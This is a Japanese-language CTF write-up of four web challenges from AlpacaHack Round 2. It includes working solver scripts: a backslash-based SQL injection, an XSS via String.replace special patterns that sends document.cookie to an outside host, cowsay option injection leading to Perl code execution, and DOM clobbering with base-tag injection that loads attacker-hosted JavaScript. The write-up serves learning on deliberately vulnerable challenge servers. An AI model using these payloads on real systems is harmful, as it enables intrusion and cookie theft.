9/1に6時間だけ開催された。出題された4問すべてを3時間40分56秒で解いて2位。AlpacaHackは新しくできた個人戦のCTFプラットフォームで、定期的に短めのCTFを開催するとのこと。終了後にはいつでも過去問を遊ぶことができる。
AlpacaHack Round 2は定期的に開催されるCTFの第2回で、Arkさんが作問者となってWebカテゴリのみから出題された。第1回はPwnがテーマだったようだけれども、その様子は作問者のptr-yudaiさんのブログ記事を参照されたい。
今回の問題はさすがはArkさんという面白さだったが、Pico Note 1以降の問題で手間取ってしまった。1位のicesfontさんは私より1時間以上も早く全完しており完敗で、悔しい。
- [Web 108] Simple Login (84 solves)
- [Web 277] Pico Note 1 (10 solves)
- [Web 248] CaaS (13 solves)
- [Web 428] Pico Note 2 (3 solves)
[Web 108] Simple Login (84 solves)
A simple login service :)
(問題サーバのURL)
添付ファイル: simple-login.tar.gz
作りがシンプルなのでソースコードの全体を載せる。次のように /login
からログインできるシステムがある。フラグは db/init.sql
という別ファイルの INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}');
という定義から、flag
というテーブルに存在しているとわかる。
SQLの実行時に f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
と、プレースホルダを使わずユーザ入力をそのまま展開していてSQLiができそうだ。けれども、その直前に if "'" in username or "'" in password
と '
がユーザ名またはパスワードに含まれていないかのチェックがある。素直に ' or 1;#
のような文字列をユーザ名に仕込むことでのSQLiはできなそう。
from flask import Flask, request, redirect, render_template import pymysql.cursors import os def db(): return pymysql.connect( host=os.environ["MYSQL_HOST"], user=os.environ["MYSQL_USER"], password=os.environ["MYSQL_PASSWORD"], database=os.environ["MYSQL_DATABASE"], charset="utf8mb4", cursorclass=pymysql.cursors.DictCursor, ) app = Flask(__name__) @app.get("/") def index(): if "username" not in request.cookies: return redirect("/login") return render_template("index.html", username=request.cookies["username"]) @app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if username is None or password is None: return "Missing required parameters", 400 if len(username) > 64 or len(password) > 64: return "Too long parameters", 400 if "'" in username or "'" in password: return "Do not try SQL injection 🤗", 400 conn = None try: conn = db() with conn.cursor() as cursor: cursor.execute( f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" ) user = cursor.fetchone() except Exception as e: return f"Error: {e}", 500 finally: if conn is not None: conn.close() if user is None or "username" not in user: return "No user", 400 response = redirect("/") response.set_cookie("username", user["username"]) return response else: return render_template("login.html")
いかにSQLの構造を壊すか考えている中で、ユーザ名にバックスラッシュを仕込むことを思いついた。ユーザ入力が展開された後のSQLは SELECT * FROM users WHERE username = '\' AND password = 'password'
というような構造になるけれども、エスケープのお陰で \' AND password =
までがひとつの文字列として扱われ、パスワードの部分は文字列から抜け出すことができている。パスワードとして本命のペイロードを仕込めばよいだろう。
あとは flag
テーブルの内容を取ってくるだけだ。ご丁寧にもログイン後のページでどのユーザでログインしたか表示してくれるから、UNION
を使ってユーザ名としてフラグを表示させればよろしい。
import httpx with httpx.Client(base_url='http://(省略)/', timeout=60) as client: r = client.post('/login', data={ 'username': '\\', 'password': ' union select value, 1 from flag;#' }) print(r.text) r = client.get('/') print(r.text)
実行するとフラグが得られた。
$ python3 s.py <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link. <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.classless.min.css" /> <title>Simple Login</title> </head> <body> <main> <h1>Simple Login</h1> <p>Hello, Alpaca{<redacted>}</p> <marquee scrollamount="16" direction="right"> Logged in successfully🎉 </marquee> </main> </body> </html>
[Web 277] Pico Note 1 (10 solves)
The template engine is very simple but powerful 🔥
(問題サーバのURL)
(Admin botのURL)
添付ファイル: pico-note-1.tar.gz
Admin botがおり、XSSのようにクライアント側でなにかやる問題なのだろうと思う。botのコードの主要な部分は次の通り。document.cookie
を外部に送信させれば勝ちらしい。
try { const page = await context.newPage(); await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", }); await page.goto(url, { timeout: 3 * 1000 }); await sleep(5 * 1000); await page.close(); } catch (e) { console.error(e); }
攻撃対象のWebアプリは次のような感じ。普通のメモアプリで、タイトルや内容を設定して送信すると、/note?title=a&content=b
のようなURLに遷移してその内容が表示される。
サーバ側のコードは次の通り。nonce-basedなCSPを設定している点、独自のテンプレートエンジンを作り使っている点が気になる。
import Fastify from "fastify"; import crypto from "node:crypto"; import { promises as fs } from "node:fs"; const app = Fastify(); const PORT = 3000; // A simple template engine! const render = async (view, params) => { const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" }); const html = Object.entries(params).reduce( (prev, [key, value]) => prev.replace(`{{${key}}}`, value), tmpl ); return html; }; app.addHook("onRequest", (req, res, next) => { const nonce = crypto.randomBytes(16).toString("hex"); res.header("Content-Security-Policy", `script-src 'nonce-${nonce}';`); req.nonce = nonce; next(); }); app.get("/", async (req, res) => { const html = await render("index", {}); res.type("text/html").send(html); }); app.get("/note", async (req, res) => { const title = String(req.query.title); const content = String(req.query.content); const html = await render("note", { nonce: req.nonce, data: JSON.stringify({ title, content }), }); res.type("text/html").send(html); }); app.listen({ port: PORT, host: "0.0.0.0" });
ユーザ入力が展開される先の note.html
は次の通り。JS内への展開ということで容易にXSSができそうに思えるけれども、残念ながらそう簡単ではない。ユーザ入力は JSON.stringify
に通されており、たとえばタイトルにダブルクォートを入れても const { title, content } = {"title":"\"","content":"b"};
のようにエスケープされてしまう。ならばと </script>
をタイトル等に入れて script
から脱出したとしても、nonceのせいで新たに script
要素を作っても実行されず、HTML Injectionで止まってしまう。
<script nonce="{{nonce}}"> const { title, content } = {{data}}; document.getElementById("title").textContent = title; document.getElementById("content").textContent = content; document.getElementById("back").addEventListener("click", () => history.back()); </script>
テンプレートエンジンの実装は次の通り。{{data}}
や {{nonce}}
といったものを置換してくれるようだ。ではユーザ名に </script><script nonce={{nonce}}>…</script>
を仕込めばいい感じにnonceを置換してくれるのでは? と思ってしまうが、そうはいかない。ここで String.prototype.replace
で置換が行われているけれども、こいつは第1引数に単純な文字列を渡した場合には一度しか置換されない。たとえば、'aaa'.replace('a', 'b')
を実行してみると baa
という文字列になる。
// A simple template engine! const render = async (view, params) => { const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" }); const html = Object.entries(params).reduce( (prev, [key, value]) => prev.replace(`{{${key}}}`, value), tmpl ); return html; };
文字コードの問題かなあと思うものの、ちゃんと <meta charset="UTF-8" />
と指定されているし、HTML Injectionも含め JSON.stringify
でエスケープされる範囲内でなにかやるのかなあと思うものの、何も悪用できそうなテクニックが思い浮かばない。
ふと、String.prototype.replace
では第2引数において $'
や $&
といった特殊な文字列を指定することで、それらがマッチした部分文字列等に置換されることを思い出した。試しに abc</script>$`def
をメモの内容として入力してみると、次のようにいい感じに「一致した部分文字列の直前の文字列の部分」が展開された。nonceを含む <script>
タグも再び出力させることができている。def
の部分をちょっと細工するとJSコードとして正しい形にできそうだ。
<script nonce="47f99c10e80174d5ed2278f00277329a"> const { title, content } = {"title":"a","content":"abc</script><!DOCTYPE html>…<script nonce="47f99c10e80174d5ed2278f00277329a"> const { title, content } = def"};
ということで、http://web:3000/note?title=a&content=%3C/script%3E$`123;(new Image).src=[`https://…?`,document.cookie]%3C/script%3E
というようなURLを通報するとフラグが得られた。
[Web 248] CaaS (13 solves)
🐮📢 < Hello!
(問題サーバのURL)
添付ファイル: caas.tar.gz
Cowsay as a Serviceの略でCaaSらしい。適当なメッセージを入力すると、cowsay
コマンドによってそれを牛に喋らせることができる。以前同じようなテーマの問題を見たことがあるが、一度忘れて取り組むことにする。
コードは非常にシンプルで、次の通り。zxで cowsay
に喋らせているだけらしい。
import express from "express"; import crypto from "node:crypto"; import { $ } from "zx"; const app = express(); const PORT = 3000; app.use(express.static("public")); app.get("/say", async (req, res) => { const { message = "Hello!" } = req.query; try { const uuid = crypto.randomUUID(); await $({ cwd: "public/out", timeout: "2s", })`/usr/games/cowsay ${message} > ${uuid}`; res.send({ uuid }); } catch ({ exitCode }) { res.status(500).send(exitCode ? "error" : "timeout"); } }); app.listen(PORT);
まずOSコマンドインジェクションを考えてしまうけれども、zxは賢いのでテンプレート文字列の仕様を使っていい感じにエスケープ等をしてくれ、$(ls)
やら ; ls;
やらといった悪そうな文字列を投げても何も起こらない。
ならば、オプションのインジェクションはできないかと考える。コンテナに入って cowsay
のオプションを見てみると、何やらいろいろありそうだとわかる。この中でも -f
というのがファイルを読み込みそうで気になる。
I have no name!@dad173aa9f35:/app$ /usr/games/cowsay -h cow{say,think} version 3.03, (c) 1999 Tony Monroe Usage: cowsay [-bdgpstwy] [-h] [-e eyes] [-f cowfile] [-l] [-n] [-T tongue] [-W wrapcolumn] [message]
cowsayのソースコードを確認すると、-f
で指定したファイルを do $full
によってPerlコードとして読み込み実行している様子がわかる。ユーザがその内容を操作できるファイルがあれば、それを指定することでRCEに持ち込めそうだ。とりあえず、-f
オプションを仕込むことができるか -f/etc/passwd
を入力して確認してみると、いい感じに /etc/passwd
がPerlコードとして実行されていることがコンテナのログからわかる。
web-1 | cowsay: syntax error at /etc/passwd line 1, near "0:" web-1 | Unknown regexp modifier "/b" at /etc/passwd line 1, at end of line web-1 | Unknown regexp modifier "/r" at /etc/passwd line 1, at end of line web-1 | Unknown regexp modifier "/r" at /etc/passwd line 1, at end of line web-1 | Unknown regexp modifier "/r" at /etc/passwd line 2, at end of line web-1 | Unknown regexp modifier "/r" at /etc/passwd line 3, at end of line web-1 | Unknown regexp modifier "/b" at /etc/passwd line 4, at end of line web-1 | Unknown regexp modifier "/r" at /etc/passwd line 4, at end of line web-1 | Unknown regexp modifier "/r" at /etc/passwd line 4, at end of line web-1 | Unknown regexp modifier "/h" at /etc/passwd line 5, at end of line web-1 | /etc/passwd has too many errors.
では、「ユーザがその内容を操作できるファイル」はどこにあるだろうか。/proc/self/cmdline
をまず考えてしまうけれども、初っ端から /usr/games/cowsay
とPerlコードとしてダメで、それ以降の引数での調整もできない。/proc/<pid>/fd/<fd>
もいい感じのfdが見つからない。
ふと、この問題では cowsay
の実行結果が /usr/games/cowsay ${message} > ${uuid}
とファイルに書き出されていることを思い出した。cowsay
の実行結果がPerlのコードとして有効なものになるようにし、それが吐き出されたファイルを -f
オプションで指定すればよいのではないか。
cowsay
の出力は以下のようになっており、Perlコードとしては、--------
以降が非常に邪魔だ。しかしながら、Perlでは __END__
というようなトークンを指定することで、そこまでがPerlコードである(以降はコードではない)と指定することができる*1。これを使おう。
________ < Hello! > -------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
最終的に、次のようなコードでフラグが得られた。
import httpx with httpx.Client(base_url='http://(省略)') as client: u = client.request('GET', '/say', params={ 'message': 'system("cat /flag*"); __END__', }).json()['uuid'] r = client.get(f'/out/{u}') print(r.text) u = client.request('GET', '/say', params={ 'message': f'-f/app/public/out/{u}', }).json()['uuid'] r = client.get(f'/out/{u}') print(r.text)
$ python3 ../s.py _______________________________ < system("cat /flag*"); __END__ > ------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || Alpaca{<redacted>} __ < > --
[Web 428] Pico Note 2 (3 solves)
How many note applications have I created for CTFs so far? This is one of them.
(問題サーバのURL)
(Admin botのURL)
添付ファイル: pico-note-2.tar.gz
Pico Note 1の続編のようだけれども、見た目は似ているが中身は全然異なる。Admin botのコードはわざわざ載せないけれどもほぼ同じで、今回も document.cookie
を盗み出せばよい。まずサーバ側のコードは次の通り。今回はnonceに加えてスクリプトのハッシュ値もCSPで指定されるようになっている。
import express from "express"; import expressSession from "express-session"; import ejs from "ejs"; import { JSDOM } from "jsdom"; import crypto from "node:crypto"; import fs from "node:fs"; const app = express(); const PORT = 3000; app.set("view engine", "ejs"); app.use( expressSession({ secret: crypto.randomBytes(32).toString("base64"), resave: false, saveUninitialized: false, }) ); app.use(express.urlencoded({ extended: true })); const getIntegrity = (content) => { const algo = "sha256"; const value = crypto .createHash(algo) .update(Buffer.from(content)) .digest() .toString("base64"); return `${algo}-${value}`; }; app.use((req, res, next) => { const notes = req.session.notes ?? []; res.locals.notes = notes; const hashSource = notes .map((note) => `'${getIntegrity(JSON.stringify(note))}'`) .join(" "); const nonce = crypto.randomBytes(16).toString("base64"); res.header( "Content-Security-Policy", `script-src 'nonce-${nonce}' ${hashSource};` ); res.locals.nonce = nonce; next(); }); const SCRIPTS_TMPL = ` <div id="scripts"> <% for (const note of notes) { %> <% const json = JSON.stringify(note); %> <script type="application/json" integrity="<%= getIntegrity(json) %>"><%- json %></script> <% } %> </div> `.trim(); app.get("/", (req, res) => { const scripts = new JSDOM( ejs.render(SCRIPTS_TMPL, { notes: res.locals.notes, getIntegrity, }) ).window.scripts?.innerHTML; res.render("index", { scripts }); }); app.post("/create", (req, res) => { const notes = res.locals.notes; notes.push(req.body); req.session.notes = notes; res.redirect("/"); }); app.get("/app.js", (req, res) => { const js = fs.readFileSync("app.js"); res.type("text/javascript").send(js); }); app.listen({ port: PORT, host: "0.0.0.0" });
適当にメモを作成してみると、次のように type="application/json"
と指定された <script>
タグとしてメモの情報が埋め込まれていることがわかる。もちろん、ここで ">
のように指定してもHTML Injectionすらできない。
<script type="application/json" integrity="sha256-tKw076UDBQoF5jAEqLOJNI15Gk4BaBkJgcBFrFLsigw=">{"title":"a","content":"b"}</script> <script type="application/json" integrity="sha256-VgFWsr2gwfzNUJmJw5BFkuxgF8fLD4JUQi/eXYTa4QU=">{"title":"c","content":"d"}</script> <script type="module" src="/app.js" nonce="Tk7Cl1/AGD8hRdN9PTyTzQ=="></script>
これらのJSONは /app.js
によって描画される。その中身は次の通りで、type
属性が application/json
である script
要素を取ってきて、それぞれJSONとしてパースした上で、その中身を表示している。ここでDOMPurifyが使われており、またそのバージョンも3.1.6と2024-09-01時点で最新のものでバイパスはできないように思える。
import DOMPurify from "https://cdn.jsdelivr.net/npm/dompurify@3.1.6/+esm"; const elements = document.querySelectorAll("script[type='application/json']"); for (const elm of elements) { const { title, content } = JSON.parse(elm.textContent); document.body.innerHTML += DOMPurify.sanitize( ` <div class="nes-container is-dark with-title"> <p id="title" class="title">${title}</p> <p id="content">${content}</p> </div> `.trim() ); }
ではどうするか。とりあえず怪しそうなところから見ていく。まず GET /
においてEJSでテンプレートのレンダリングが行われているわけだけれども、わざわざjsdomを使いその innerHTML
にアクセスしている。その必要性はないのではないか。
const SCRIPTS_TMPL = ` <div id="scripts"> <% for (const note of notes) { %> <% const json = JSON.stringify(note); %> <script type="application/json" integrity="<%= getIntegrity(json) %>"><%- json %></script> <% } %> </div> `.trim(); app.get("/", (req, res) => { const scripts = new JSDOM( ejs.render(SCRIPTS_TMPL, { notes: res.locals.notes, getIntegrity, }) ).window.scripts?.innerHTML; res.render("index", { scripts }); });
window.scripts
でその中の id
属性が scripts
である div
を指定しているけれども、なぜ document.getElementById
や querySelector
を使わないのだろうか。DOM Clobberingに脆弱ではないか。
ここでユーザ入力が展開されているわけだが、<%- json ->
による展開であるので <
や >
といった文字のエスケープはなされない。したがってHTML Injectionができる。</script><div id=scripts></div>
のようにして、window.scripts
が複数の要素が含まれることを意味する HTMLCollection
を返すようになった。
HTMLCollection
には innerHTML
は存在しないので undefined
が返ってきてしまう。なんとかできないかと考えて、</script><div id=scripts><div id=scripts name=innerHTML>aaa</div></div>
のようにすることで、window.scripts.innerHTML
が内側の div
要素ただひとつを意味するようになることに気づいた。
ここで HTMLDivElement
でなく HTMLAnchorElement
を返させることで、文字列化された際にほかの要素のように [object HTMLDivElement]
という何にも使えない文字列でなく、その href
属性を返させることができる。これをメモのタイトルとして投稿すると、HTML Injectionできた。
cid:a<s>poyo</s>a <script type="module" src="/app.js" nonce="BlD9zSvjBtqC2QlX+EbBiA=="></script>
HTML InjectionからXSSに持ち込むにはどうすればよいか。保存されているメモのハッシュ値がいちいちCSPに追加されることから、JavaScriptコードとして有効なオブジェクトを req.session.notes
に追加させればよいのではないかと考えた。しかしながら、app.use(express.urlencoded({ extended: true }));
ということでどうしてもオブジェクトになってしまう。文字列化されると {"hoge":"fuga"}
のようになってしまい、これではJSとして有効でない。req.body
を配列等にできないかと考えるが、ダメだった。
ふと、今回CSPで指定されているのは script-src
だけだから、ほかの何かが使えないかと考える。そういえば、HTML Injectionできる箇所より後ろで /app.js
が読み込まれており、またこれは integirty
属性ではなく nonce
属性が使われていたのだった。base-src
ディレクティブは指定されてないから、base
要素が使える。これで、自分のサーバにある /app.js
を読み込ませることができる。
以下のようなPythonスクリプトとHTMLを用意する。
# main.py from flask import Flask, make_response app = Flask(__name__) @app.route('/app.js', methods=['GET']) def appjs(): resp = make_response('(new Image).src=["https://…?", document.cookie]') resp.headers['Access-Control-Allow-Origin'] = '*' resp.headers['Content-Type'] = 'application/javascript' return resp @app.route('/', methods=['GET']) def index(): return open('index.html').read() app.run(port=8000, host='0.0.0.0')
<!-- index.html --> <body> <form method="POST" action="http://web:3000/create" id="form"> <input type="text" id="title" name="title"> <input type="text" name="content" value="a"> </form> <script> document.getElementById('title').value = `<\/script><div id=scripts><a href='cid:a<base href=//(省略):8000/index.php></base>a' id=scripts name=innerHTML>aaa</a></div>` document.getElementById('form').submit(); </script> </body>
これを通報すると、フラグが得られた。
*1:akictf等のためにPerlを少し勉強した記憶から思いついた